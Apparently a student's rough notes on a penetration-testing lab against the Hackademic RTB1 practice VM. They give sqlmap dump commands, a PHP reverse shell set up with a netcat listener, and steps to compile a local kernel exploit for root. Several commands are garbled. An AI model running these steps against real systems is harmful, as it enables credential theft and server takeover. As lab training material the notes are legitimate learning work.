#InvestigationMethodology

Syntax Query Language

Helps to stock data.

![[Pasted image 20240503091022.png]]

Database

![[Pasted image 20240503091751.png]]

![[Pasted image 20240503092250.png]]

USE Authentification ; SELECT "USERS" WHERE "USERNAME" = "$_POST[USER]"; "TOTO" ``

USE Authentification ; SELECT "USERS" WHERE "USERNAME" = "TOTO" AND``

TOTO| AND SELECT * FROM "USERS"

SELECT INSERT UPDATE DELETE DROP

1) RECON	2) EXPLOIT
nmap	searchsploit metasploit	search use set rhost
netdiscover	meterpreter
nast	wpscan
ns lookup	joomscan
if config	nikto	wapiti dirbuster sqlmap
whois

![[Pasted image 20240503100540.png]]

192.168.254.125 my ip -.122 machine

NickJames may be the username

sqlmap -u "http://192.168.254.122/Hackademic_RTB1/?cat=2" (-u for url) to find vulnerabilities ![[Pasted image 20240503112357.png]]

sqlmap -u "http://192.168.254.122/Hackademic_RTB1/?cat=2" --dump to say get everything you can get

![[Pasted image 20240503112653.png]]

at the end of the results we see the user accounts and their hashed passwords, we have already seen NickJames on the website UI: ![[Pasted image 20240503112958.png]]

it asks us to hack hashed passwords

![[Pasted image 20240503113309.png]]

now we see all the passwords for users

in the end we see that user accounts are here : /root/.local/share/sqlmap/output/192.168.254.122 ![[Pasted image 20240503113414.png]]

to connect in the end:

change the php_reverse_shell.php in /usr/share/webshell/php - i copied it changed the name and edited the ip address (i've put the ip address of my machine) i've edited the port number. and saved.

go to terminal and use netcat.

nc -l -v -p "port" (my ip port i put in the php file )

netstat ps guaxf to see running apps

why do we do this? to execute the file

gcc -o "executable" -i exploit.c

executable http://192.168.254.134/Hackademic_RTB1/wp-content/agah_01.php

1. Discovery ::> nmap/netdiscover ::> we found the website
2. found wordpress
3. sql injection
4. upload webshell
5. uname
6. searchsploit kernel linux local
7. upload 15285.c changing the name to the server
8. gcc 15285.c ----> ./15285
9. command id and you are root!

(couldnt do it)